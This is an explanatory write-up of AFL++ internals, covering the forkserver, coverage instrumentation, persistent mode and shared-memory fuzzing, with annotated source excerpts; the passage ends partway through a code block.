+## AFL++ Architecture +AFL++ starts when the `afl-fuzz` binary is run. The command will usually look something like this: + +`afl-fuzz -i [input] -o [output] -- /path/to/fuzzed/binary [@@]` + +Typically, the `@@` is replaced with an input file that the process reads from. If no input file is provided, then AFL assumes that the process takes in input using stdin (Or shmem). + +`-i` is the directory containing the seed inputs. + +`-o` is the directory that the output will be placed. + +When `afl-fuzz` is run, a series of initialization functions are run. After that, `afl-fuzz` is forked and then exec'd with the target binary. However, the fuzzing itself does not happen in the child process of `afl-fuzz`. Instead, the child process is stopped right before `main` and serves as a "forkserver". This forkserver then forks _again_, and the fuzzing happens in the grandchild process. The reason for this is that forking is much faster than exec. So, it is significantly faster to perform fuzzing in the grandchild than in the child. We will discuss this process further. + +In order for `afl-fuzz` to communicate with the target binary, two pipes are created: a control pipe and a status pipe ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-forkserver.c#L667)). The control pipe is located at `FORKSRV_FD` (Usually `198`) and is read-only for the target binary and write-only for `afl-fuzz`. The status pipe is located at `FORKSRV_FD+1` and is write-only by the target binary and read-only by `afl-fuzz`. + +The control pipe is used to send control messages to the target binary. The status pipe is used to send status messages to `afl-fuzz`. + +Now that we have a high-level understanding of what `afl-fuzz` does let's take a closer look at what the binary looks like and is doing. + +
+ +
+## Coverage Instrumentation + +In order for AFL++ to work properly (At least in its normal operating mode), the binary must be compiled using a special AFL compiler. This is so that AFL can insert special instructions to keep track of coverage. These special instructions are known as instrumentation. Typically, instrumentaton instructions access what is known as a coverage map. This coverage map is a record of what parts of the code have been accessed. + +AFL currently supports many forms of coverage, but the 2 most common and well-supported are PCGUARD and LTO. + +Let's start with PCGUARD. To use PCGUARD instrumentation, you must use the `afl-clang-fast`. To understand PCGUARD, let's take a look at a binary compiled with PCGUARD in Ghidra/lldb: + +Decompiled C: +![](./pdf_info.png) + +Assembly: +![](./pdf_info_asm.png) + +In AFL, the coverage map is `__afl_area_ptr`. `__afl_area_ptr` is an array that is accessed every time a new area is reached. This can be seen in the decompiled C. Notice how there is an access to `__afl_area_ptr` at the top of the function, in the if statement, and in the else statement. + +In PCGUARD, The index of `__afl_area_ptr` accessed is determined at runtime. Specifically, the value of the `DAT_*` variable is populated at runtime. This can be seen in the assembly with the `movsxd` where the index is being loaded into `rax`. We will see this process in more detail when we discuss initialization. + +As an aside, notice the `adc dl, 0` in the assembly. This is to ensure that if `add dl, 1` wraps around, `dl != 0`. If `add dl, 1` wraps around then `CF=1`. So, `adc dl, 0` will result in `dl=1`. + +Now let's discuss LTO. LTO coverage can be achieved using the `afl-clang-lto` compiler. LTO coverage is very similar to PCGUARD except the index into `__afl_area_ptr` is populated at compile-time instead of runtime. + +This can be seen in the decompiled C of an LTO binary: + +![](./pdf_info_lto.png) + +Notice how the index into `__afl_area_ptr` is an immediate instead of a variable. + +For more information on coverage, how it is inserted, and general implementation details I recommend checking out the In-Depth: Coverage Instrumentation and LLVM Hell section which covers the internals of the AFL compiler. + +
+ +
+## Initialization and Forkserver + +Before we discuss the initialization process, we need to a discuss a feature within ELFs known as the init array. + +When a binary is run, `main` doesn't launch. Instead, we always start with the interpreter (Usually, `ld.so`). The interpreter sets up many key structures for processes like dynamic linking. However, a lesser known feature of the interpreter is its ability to run initialization functions. These initialization functions are located in a section called `.init_array`. This section contains an array of functions that are run in-order right before `main` ([Source 1](https://www.gnu.org/software/hurd/glibc/startup.html), [Source 2](https://github.com/bminor/glibc/blob/9e2ff880f3cbc0b4ec8505ad2ce4a1c92d7f6d56/elf/dl-init.c#L70)). + +The functions in `.init_array` are dependent on whether the binary was compiled with PCGUARD or LTO (However, they are _mostly_ the same). + +As we discuss the functions in `.init_array`, there will be many variables, environment variables, macros. For ease of use, I have placed all their definitions below: + +Regular Variables: + +- `__afl_area_ptr` - The coverage map pointer. By default this is `__afl_area_initial`. The size of `__afl_area_initial` is `MAP_INITIAL_SIZE` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L91)) +- `__afl_final_loc` - The last index in `__afl_area_ptr` accessed by instrumentation +- `__afl_map_addr` - This is the address that the coverage map will be mmap'd. As far as I know, this only really exists when `AFL_LLVM_MAP_ADDR` is set in LTO mode. Otherwise, it is 0. +- `__afl_map_size ` - The size of the coverage map +- `__afl_area_initial` - The coverage map used before shared memory is mapped and if shared memory is not accessible (i.e. we are not running under AFL). This is created as an array in `afl-compiler-rt.o.c` + +Environment Variables: + +- `__AFL_SHM_ID` (Aliased to `SHM_ENV_VAR`) - Shared memory ID for the coverage map. +- `__AFL_SHM_FUZZ_ID` (Aliased to `SHM_FUZZ_ENV_VAR`) - Shared memory ID for shared memory fuzzing. +- `AFL_MAP_SIZE` - Used to set the size of the shared memory buffer allocated by `afl-fuzz`. + +Macros: + +- `MAP_SIZE` - a custom value that `afl-fuzz` can use to force the size of the shared memory map. +- `MAP_INITIAL_SIZE` - size of `__afl_area_initial` + Let's start with PCGUARD. The init functions are as follows: + ![](./pcguard_init_array_full.png) + +Let's walk through each function. All of these functions (Except for `sancov.module_ctor_trace_pc_guard`) can be found in [afl-compiler-rt.o.c](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c). + +Let's start with [`__afl_auto_first`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L1434). This function does nothing. All it does is set `__afl_already_initialized_first = 1`. + +The next function is [`__afl_auto_second`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L1390). In the case of PCGUARD, this function does nothing. This is because `__afl_final_loc = 0` at this point. We will see that this is actually initialized in the next function. + +The next function is `sancov.module_ctor_trace_pc_guard`. This is actually just a call to [`__sanitizer_cov_trace_pc_guard_init`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L1514) as seen below. For more information on how this call is constructed, I recommend checking out the "In-Depth: Coverage Instrumentation and LLVM Hell" section. + +![](./pcguard_init_call.png) + +`__sanitizer_cov_trace_pc_guard_init` is what initializes `__afl_final_loc` and the `DAT_*` variables we saw in the instrumentation. Let's take a look at the function in more detail: + +```c +void __sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop) { + + u32 inst_ratio = 100; + char *x; + + _is_sancov = 1; + +... + + if (start == stop || *start) return; + + ... + + if (__afl_final_loc < 3) __afl_final_loc = 3; // we skip the first 4 entries + + *(start++) = ++__afl_final_loc; //start at 4 + + while (start < stop) { + + if (likely(inst_ratio == 100) || R(100) < inst_ratio) + *start = ++__afl_final_loc; + else + *start = 0; // write to map[0] + + start++; + + } +... + +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L1514) + +So, this function takes in 2 parameters: `start` and `end`. This represents the `start` and `end` of our guard section, or the section where all of our `DAT_*` variables lie. What we do is go through the entire guard section and populate all the `DAT_*` variables with indices, all while incrementing `__afl_final_loc`. The result of this is that `__afl_final_loc` will equal the final index accessed by coverage. + +With this, all of our `DAT_*` variables are populated, and our instrumentation is ready. + +The next function is [`__afl_auto_early`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L1375). This function is actually what makes the coverage accessible to `afl-fuzz`. In order to understand `__afl_auto_early`, we need to first discuss shared memory. Shared memory is a feature on Linux used to create memory that can be accessed by multiple processes. Each shared memory instance has its own ID that uniquely identifies it. For 2 processes to access the same shared memory, they both need only map shared memory with the same ID. For more information on shared memory, I recommend reading the [manpage](https://man7.org/linux/man-pages/man7/shm_overview.7.html). + +Essentially, `afl-fuzz` creates a shared memory instance and the target process maps that shared memory descriptor as its coverage map. As a result, `afl-fuzz` can see any changes that the child process makes to the coverage map. + +So, `__afl_auto_early` calls [`__afl_map_shm`](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L282) which actually does all the work. This function deals with a lot of edge cases, but we are only going to discuss the case where we are running under `afl-fuzz`. Because of how long, `__afl_map_shm` gets, I decided to comment the relevant code instead of explaining. + +```c +static void __afl_map_shm(void) { + + if (__afl_already_initialized_shm) return; + __afl_already_initialized_shm = 1; + + // if we are not running in afl ensure the map exists + if (!__afl_area_ptr) { __afl_area_ptr = __afl_area_ptr_dummy; } + + char *id_str = getenv(SHM_ENV_VAR); //get the shared memory ID. + + if (__afl_final_loc) { //this should always be true if there are edges. + + __afl_map_size = ++__afl_final_loc; // increment __afl_final_loc as it is the final index accessed, not the size. + ... + if (__afl_final_loc > MAP_SIZE) { //if we have more edges than the shared memory map can accomodate, then we might have a problem. + char *ptr; + u32 val = 0; + if ((ptr = getenv("AFL_MAP_SIZE")) != NULL) { val = atoi(ptr); } + if (val < __afl_final_loc) { //if AFL_MAP_SIZE < __afl_final_loc then the map might not be big enough + if (__afl_final_loc > FS_OPT_MAX_MAPSIZE) { //the required map size is too big. We need to leave if we are running under AFL. If we are not running under AFL, we can simply allocate the necessary memory. For more information on this visit In-Depth: afl-fuzz initialzation. + if (!getenv("AFL_QUIET")) + fprintf(stderr, + "Error: AFL++ tools *require* to set AFL_MAP_SIZE to %u " + "to be able to run this instrumented program!\n", + __afl_final_loc); + if (id_str) { + send_forkserver_error(FS_ERROR_MAP_SIZE); + exit(-1); + } + } else { //if AFL_MAP_SIZE > MAP_INITIAL_SIZE, then the allocated map size *might* be too small. For more information on this, visit In-Depth: afl-fuzz initialzation. + if (__afl_final_loc > MAP_INITIAL_SIZE && !getenv("AFL_QUIET")) { + fprintf(stderr, + "Warning: AFL++ tools might need to set AFL_MAP_SIZE to %u " + "to be able to run this instrumented program if this " + "crashes!\n", + __afl_final_loc); + } + } + } + } + } else { + ... + } + + } +... + u32 shm_id = atoi(id_str); //get the shm_id. This will be used to access the + if (__afl_map_size && __afl_map_size > MAP_SIZE) { + u8 *map_env = (u8 *)getenv("AFL_MAP_SIZE"); + if (!map_env || atoi((char *)map_env) < MAP_SIZE) { + send_forkserver_error(FS_ERROR_MAP_SIZE); + _exit(1); + } + } + __afl_area_ptr = (u8 *)shmat(shm_id, (void *)__afl_map_addr, 0); //map in the shared memory and set it equal to __afl_area_ptr. From here, instead of accessing some dummy memory, the instrumentation will be accessing the shared memory, and, as such, the changes will be visible to the afl-fuzz. + + /* Whooooops. */ + if (!__afl_area_ptr || __afl_area_ptr == (void *)-1) { + if (__afl_map_addr) + send_forkserver_error(FS_ERROR_MAP_ADDR); + else + send_forkserver_error(FS_ERROR_SHMAT); + perror("shmat for map"); + _exit(1); + } + /* Write something into the bitmap so that even with low AFL_INST_RATIO, + our parent doesn't give up on us. */ + __afl_area_ptr[0] = 1; + } + ... +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/2ff0ff7a903c57f9df5ed1e97370c187ec45a31e/instrumentation/afl-compiler-rt.o.c#L282) + +With this, `__afl_area_ptr` is set up and pointing to shared memory. + +Now, we go to [`__early_forkserver`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1367). This function does nothing unless we ask for an early forkserver. + +The final function is [ `__afl_auto_init`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1339). In this function, we actually communicate with `afl-fuzz` and we begin to run our testcases. In `__afl_auto_init`, we call [`__afl_manual_init`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1307) which in turn calls [`__afl_start_forkserver`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1002). This is where the meat of the function happens. + +The first important snippet is below: + +```c + if (__afl_map_size <= FS_OPT_MAX_MAPSIZE) { + status_for_fsrv |= (FS_OPT_SET_MAPSIZE(__afl_map_size) | FS_OPT_MAPSIZE); + } + + if (__afl_dictionary_len && __afl_dictionary) { + status_for_fsrv |= FS_OPT_AUTODICT; + } + + if (__afl_sharedmem_fuzzing) { status_for_fsrv |= FS_OPT_SHDMEM_FUZZ; } + if (status_for_fsrv) { + status_for_fsrv |= (FS_OPT_ENABLED | FS_OPT_NEWCMPLOG); + } + + memcpy(tmp, &status_for_fsrv, 4); + + /* Phone home and tell the parent that we're OK. If parent isn't there, + assume we're not running in forkserver mode and just execute program. */ + + if (write(FORKSRV_FD + 1, tmp, 4) != 4) { return; } + +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1032) + +The idea behind this snippet is essentially to tell `afl-fuzz` about the target binary. We tell them about the map size, if we have a dictionary, and whether we are using shared memory fuzzing. Then we write that result to `FORKSRV_FD+1` which, as we discussed earlier, is the status pipe. + +From here, we enter the while loop which actually does the real fuzzing. I have commented it for ease of reading: + +```c + while (1) { + + int status; + /* Wait for parent by reading from the pipe. Abort if read fails. */ + if (already_read_first) { + already_read_first = 0; + } else { + if (read(FORKSRV_FD, &was_killed, 4) != 4) { + _exit(1); + } + } +... + /* If we stopped the child in persistent mode, but there was a race + condition and afl-fuzz already issued SIGKILL, write off the old + process. */ + if (child_stopped && was_killed) { + child_stopped = 0; + if (waitpid(child_pid, &status, 0) < 0) { + write_error("child_stopped && was_killed"); + _exit(1); + } + + } + if (!child_stopped) { + /* Once woken up, create a clone of our process. */ + child_pid = fork(); //fork the process. launch the grandchild + if (child_pid < 0) { + write_error("fork"); + _exit(1); + } + /* In child process: close fds, resumecexecution. */ + //remember: fork returns 0 for the child and the child pid for the parent + if (!child_pid) { + //(void)nice(-20); + signal(SIGCHLD, old_sigchld_handler); //reset signal handlers. + signal(SIGTERM, old_sigterm_handler); + close(FORKSRV_FD); //close the pipes + close(FORKSRV_FD + 1); + return; //return to main + } + } else { + /* Special handling for persistent mode: if the child is alive but + currently stopped, simply restart it with SIGCONT. */ + kill(child_pid, SIGCONT); + child_stopped = 0; + + } + + /* In parent process: write PID to pipe, then wait for child. */ + + if (write(FORKSRV_FD + 1, &child_pid, 4) != 4) { //tell the parent the pid of its grandchild + + write_error("write to afl-fuzz"); + _exit(1); + + } + + if (waitpid(child_pid, &status, is_persistent ? WUNTRACED : 0) < 0) { //wait for the child to finish. + + write_error("waitpid"); + _exit(1); + + } + + /* In persistent mode, the child stops itself with SIGSTOP to indicate + a successful run. In this case, we want to wake it up without forking + again. */ + + if (WIFSTOPPED(status)) child_stopped = 1; + + /* Relay wait status to pipe, then loop back. */ + + if (write(FORKSRV_FD + 1, &status, 4) != 4) { //tell the parent that we are done. This will give the parent an oppurtunity to check and reset the coverage map, mutate, etc. + + write_error("writing to afl-fuzz"); + _exit(1); + + } + + } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1120) + +The above code is essentially the forkserver. Essentially, in order to perform our fuzzing, we continually fork the child. + +With all of these functions, the fuzzer is set up, and we are successfully fuzzing. However, there are ways that we can make fuzzing much faster. + +
+ +
+## Persistent Mode + +Persistent mode is a way to make fuzzing faster. In general, when we fuzz, we have to restart the program every time we want to run a test case. However, what if we wanted to test one small subset of the code. This is where persistent mode is useful. + +According to the AFL++ documentation, in persistent mode "AFL++ fuzzes a target multiple times in a single forked process, instead of forking a new process for each fuzz execution" ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/README.persistent_mode.md)). In order to describe persistent mode, it is easier to look at an example. Consider the following code snippet: + +```c +#include "what_you_need_for_your_target.h" + +main() { + // anything else here, e.g. command line arguments, initialization, etc. + unsigned char buf[1024]; + + while (__AFL_LOOP(10000)) { //loop + int len = read(0,buf,1024); + + if (len < 8) continue; // check for a required/useful minimum input + target_function(buf, len); + memset(buf, 0, 1024); //reset the state + /* Reset state. e.g. libtarget_free(tmp) */ + } + return 0; +} +``` + +Code modified from [here](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/README.persistent_mode.md) + +When we are running in persistent mode, the forkserver changes a little bit. Specifically, the `waitpid` condition changes. This can be seen in the if statement below: + +```c +if (waitpid(child_pid, &status, is_persistent ? WUNTRACED : 0) < 0) +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1229) + +If the binary is persistent, then we wait until the child has stopped (`WUNTRACED`) instead of exited. The reason for this can be found in the `__AFL_LOOP` macro which expands to [`__afl_persistent_loop`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1258). + +The idea behind this function is that there is a static variable `cycle_cnt` which is equivalent to the number of loops remaining. At the end of every loop (Except when `cycle_cnt = 0` at which point we stop), we raise a `SIGSTOP` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L1282)). This triggers the `waitpid` condition above which allows `afl-fuzz` to perform its mutations and reset the coverage map. Once control is returned to the forkserver, the binary is resumed via a `SIGCONT` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/instrumentation/afl-compiler-rt.o.c#L958)). + +This loop structure allows the section of code within the loop to run multiple times without having to restart the binary which can often be very slow. + +
+
+## Shared Memory Fuzzing + +Shared memory fuzzing is a way to make fuzzing even faster. Typically, the target binary will read from stdin or from a file passed in as a command line argument. However, this can be slow as it requires a read system call. So, how do we make this faster? + +The answer is shared memory fuzzing. In the same way that the coverage map is shared memory, we also make the input shared memory. This allows `afl-fuzz` to write the input test cases to a shared memory buffer instead of a file. + +To facilitate shared memory fuzzing, we need to modify the source code a bit. Consider the code snippet below: + +```c +#include "what_you_need_for_your_target.h" +__AFL_FUZZ_INIT(); +main() { + // anything else here, e.g. command line arguments, initialization, etc. + unsigned char *buf = __AFL_FUZZ_TESTCASE_BUF; // must be after __AFL_INIT + // and before __AFL_LOOP! + while (__AFL_LOOP(10000)) { + int len = __AFL_FUZZ_TESTCASE_LEN; // don't use the macro directly in a + // call! + if (len < 8) continue; // check for a required/useful minimum input length + /* Setup function call, e.g. struct target *tmp = libtarget_init() */ + /* Call function to be fuzzed, e.g.: */ + target_function(buf, len); + /* Reset state. e.g. libtarget_free(tmp) */ + } + return 0; +} + +``` + +In the above source code, we have enabled shared memory fuzzing. Our `__AFL_FUZZ_TESTCASE_BUF` is the actual testcase buffer. This buffer points to a shared memory region. This memory region is updated between loops. `__AFL_FUZZ_TESTCASE_LEN` is the actual length of the data within the shared memory region. To understand shared memory fuzzing, it is also helpful to look at the initialization process. + +The initialization for shared memory fuzzing begins at a function called [`__afl_map_shm_fuzz`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L214). This function is called from `__afl_start_forkserver` whenever shared memory fuzzing is detected ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L1070)). Shared memory fuzzing is detected via the variable `__afl_sharedmem_fuzzing` which is set to `1` whenever shared memory is used. This variable is set to `1` when the macro `__AFL_FUZZ_INIT()` is used ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ef706ad668b36e65d24f352f5bcee22957f5f1cc/src/afl-cc.c#L1311)). + +`__afl_map_shm_fuzz` works in a very similar manner to `__afl_map_shm`. It get's the shmem ID from the environment variable `__AFL_SHM_FUZZ_ID` - often aliased to `SHM_FUZZ_ENV_VAR` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L216)). It then runs a `shmat` to map the shared memory region to the process ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L247)). + +After the region is mapped, we then set `__afl_fuzz_len` and `__afl_fuzz_ptr` (Aliased to `__AFL_FUZZ_TESTCASE_LEN` and `__AFL_FUZZ_TESTCASE_BUF` respectively) like so: + +``` +__afl_fuzz_len = (u32 *)map; +__afl_fuzz_ptr = map + sizeof(u32); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/instrumentation/afl-compiler-rt.o.c#L261) + +Notice how `__afl_fuzz_len` is actually a `u32*` as the first 4 bytes of the map are actually the size of the written data. + +If you're interested in learning more about how both shared memory fuzzing and persistent mode fuzzing work, I highly suggest compiling and analyzing the demo code found [here](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/utils/persistent_mode/persistent_demo_new.c) in a debugger or a diassembler like Ghidra. + +
+
+## Sanitizers + +Many might ask what about memory errors (i.e. buffer overflow, heap overflow, use-after-free, etc.)? How can coverage instrumentation help detect those. Unfortunately, coverage-based fuzzing cannot detect memory errors. Instead, we must use what is called a sanitizer. + +There are many kinds of sanitizers all dedicated to detecting different kinds of errors including invalid memory accesses (i.e. UAF), uninitialized memory use, and undefined behavior. + +Because of how complicated some of them can get, I'm not going to explain them here. For more information, Google has published a fantastic wiki describing each sanitizer and its implementation [here](https://github.com/google/sanitizers/wiki). + +
+
+## In-Depth: `afl-fuzz` initialization and runtime processes + +### Initializing `afl-fuzz` + +To understand how AFL++ fuzzes, it is useful to look at the source code of `afl_fuzz` - the main function can be found [here](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L501 "https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L501"). + +There are 2 key structures that we will be paying attention to: [`afl_state_t`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/include/afl-fuzz.h#L427) and [`afl_forkserver_t`](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/include/forkserver.h#L80). + +`afl_state_t` is the structure that manages the fuzzer and many of its parameters including mutator parameters, the observers, feedbacks, and more. + +`afl_forkserver_t` manages the forkserver. The forkserver is something that we will discuss later, but, at a high level, it is what executes the binary to be fuzzed. This structure contains other key information including the input file and parameters about what the forkserver is doing (Is it Nyx? Qemu?). `afl_forkserver_t` is embedded in `afl_state_t`. + +In order to initialize `afl-fuzz` we start at [main](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L501) in `afl-fuzz.c`. There's a lot here, and most of it is to deal with edge cases like QEMU-mode, Nyx-mode, Frida-mode, etc. + +The first important thing we do is get the `map_size`. This will be the size of the shared memory coverage map. To get the `map_size` we call `get_map_size` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L506)) which does the following: + +```c +u32 get_map_size(void) { + + uint32_t map_size = DEFAULT_SHMEM_SIZE; + char *ptr; + if ((ptr = getenv("AFL_MAP_SIZE")) || (ptr = getenv("AFL_MAPSIZE"))) { + map_size = atoi(ptr); + if (!map_size || map_size > (1 << 29)) { + FATAL("illegal AFL_MAP_SIZE %u, must be between %u and %u", map_size, 64U, + 1U << 29); + } + if (map_size % 64) { map_size = (((map_size >> 6) + 1) << 6); } + } else if (getenv("AFL_SKIP_BIN_CHECK")) { + map_size = MAP_SIZE; + } + return map_size; + +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-common.c#L1302) + +By default, we use `DEFAULT_SHMEM_SIZE` which has a size of 8 MB ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/include/config.h#L44)). Otherwise, we can set the map size using the `AFL_MAP_SIZE` or `AFL_MAPSIZE` environment variables. + +The second important thing we do is initialize the `afl_state_t` and `afl_forkserver_t`: + +```c + afl_state_init(afl, map_size); + ... + afl_fsrv_init(&afl->fsrv); +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L535) + +These two functions set a few important variables of note. `afl_state_init` sets the map size to `map_size` as seen below: + +```c +afl->shm.map_size = map_size ? map_size : MAP_SIZE; +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-fuzz-state.c#L86) + +`afl_fsrv_init` sets the following variables: + +```c +fsrv->out_fd = -1; //set out_fd to -1 by default +... +fsrv->use_stdin = true; //by default use stdin +... +fsrv->child_pid = -1; //set the child_pid to -1 +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/7101192865893e00b9029d0cb898a3ca3015d50b/src/afl-forkserver.c#L91) + +After this, we set `afl->shmem_testcase_mode = 1` ([Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L551)). This will ensure that we always try to use shared memory testcases if possible. + +From here, `afl-fuzz` runs through the command line flags and stores them as necessary. A lot of these command line arguments are intended handle AFL's other operating modes such as QEMU or Frida. However, there is one command line flag we care about: `-o` which represents the output directory: + +```c + case 'o': /* output dir */ + if (afl->out_dir) { FATAL("Multiple -o options not supported"); } + afl->out_dir = optarg; +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L678) +Below is the main file setup code: + +```c + if ((afl->tmp_dir = afl->afl_env.afl_tmpdir) != NULL && !afl->in_place_resume) +... + } else { + afl->tmp_dir = afl->out_dir; + } + + + if (!afl->fsrv.out_file) { + u32 j = optind + 1; + while (argv[j]) { + u8 *aa_loc = strstr(argv[j], "@@"); + if (aa_loc && !afl->fsrv.out_file) { + afl->fsrv.use_stdin = 0; + default_output = 0; + if (afl->file_extension) { + afl->fsrv.out_file = alloc_printf("%s/.cur_input.%s", afl->tmp_dir, + afl->file_extension); + } else { + afl->fsrv.out_file = alloc_printf("%s/.cur_input", afl->tmp_dir); + } + detect_file_args(argv + optind + 1, afl->fsrv.out_file, + &afl->fsrv.use_stdin); + break; + } + ++j; + } + } + if (!afl->fsrv.out_file) { setup_stdio_file(afl); } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L1935) + +Here, `afl->fsrv.out_file` is the file that inputs will be written to. + +In the above code, we do a few things. We firstly go through `argv` and try to find an instance of `@@`. Remember that `@@` will be replaced with the input file if we are passing input as a command line argument. If we find an `@@`, then we do an `alloc_printf` which is functionally an `sprintf` to construct that path that testcases will be written to. We also set `afl->fsrv.use_stdin` to `0` to indicate that we are using command line arguments. + +The specific path that is used is `[output dir]/.cur_input`. Note that you can force it to use a directory that is not the output directory by using the `AFL_TMPDIR` environemnt variable ([Source](https://aflplus.plus/docs/env_variables/)). As described in the AFL++ documentation, this is especially useful when you point it to a ramdisk mounted filesystem which will increase performance. + +In the case that `@@` is not detected, we then run [`setup_stdio_file`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-fuzz-init.c#L2132): + +```c +void setup_stdio_file(afl_state_t *afl) { + if (afl->file_extension) { + afl->fsrv.out_file = + alloc_printf("%s/.cur_input.%s", afl->tmp_dir, afl->file_extension); + } else { + afl->fsrv.out_file = alloc_printf("%s/.cur_input", afl->tmp_dir); + } + unlink(afl->fsrv.out_file); /* Ignore errors */ + afl->fsrv.out_fd = + open(afl->fsrv.out_file, O_RDWR | O_CREAT | O_EXCL, DEFAULT_PERMISSION); + if (afl->fsrv.out_fd < 0) { + PFATAL("Unable to create '%s'", afl->fsrv.out_file); + } +} +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-fuzz-init.c#L2132) + +This is surprisingly similar to the code for command line arguments. However, notice that, as opposed to `@@`, we open the output file. We will see why this is later. + +We're almost ready to launch the fuzzer. Firstly, we have to setup our shared memory descriptors for both the coverage map and the shared memory test cases. + +Shared memory testcase setup: + +```c +if (afl->shmem_testcase_mode) { setup_testcase_shmem(afl); } +``` + +[Source](https://github.com/AFLplusplus/AFLplusplus/blob/ea14f3fd40e32234989043a525e3853fcb33c1b6/src/afl-fuzz.c#L2008) + +As we discussed, `afl->shmem_testcase_mode` is always `1`, so, we run [`setup_testcase_shmem`](https://github.com/AFLplusplus/AFLplusplus/blob/24503fba5fd2580559223ec3c6ee408dfa15e080/src/afl-fuzz-init.c#L2583) which does the following: + +```c +void setup_testcase_shmem(afl_state_t *afl) { + afl->shm_fuzz = ck_alloc(sizeof(sharedmem_t)); + // we 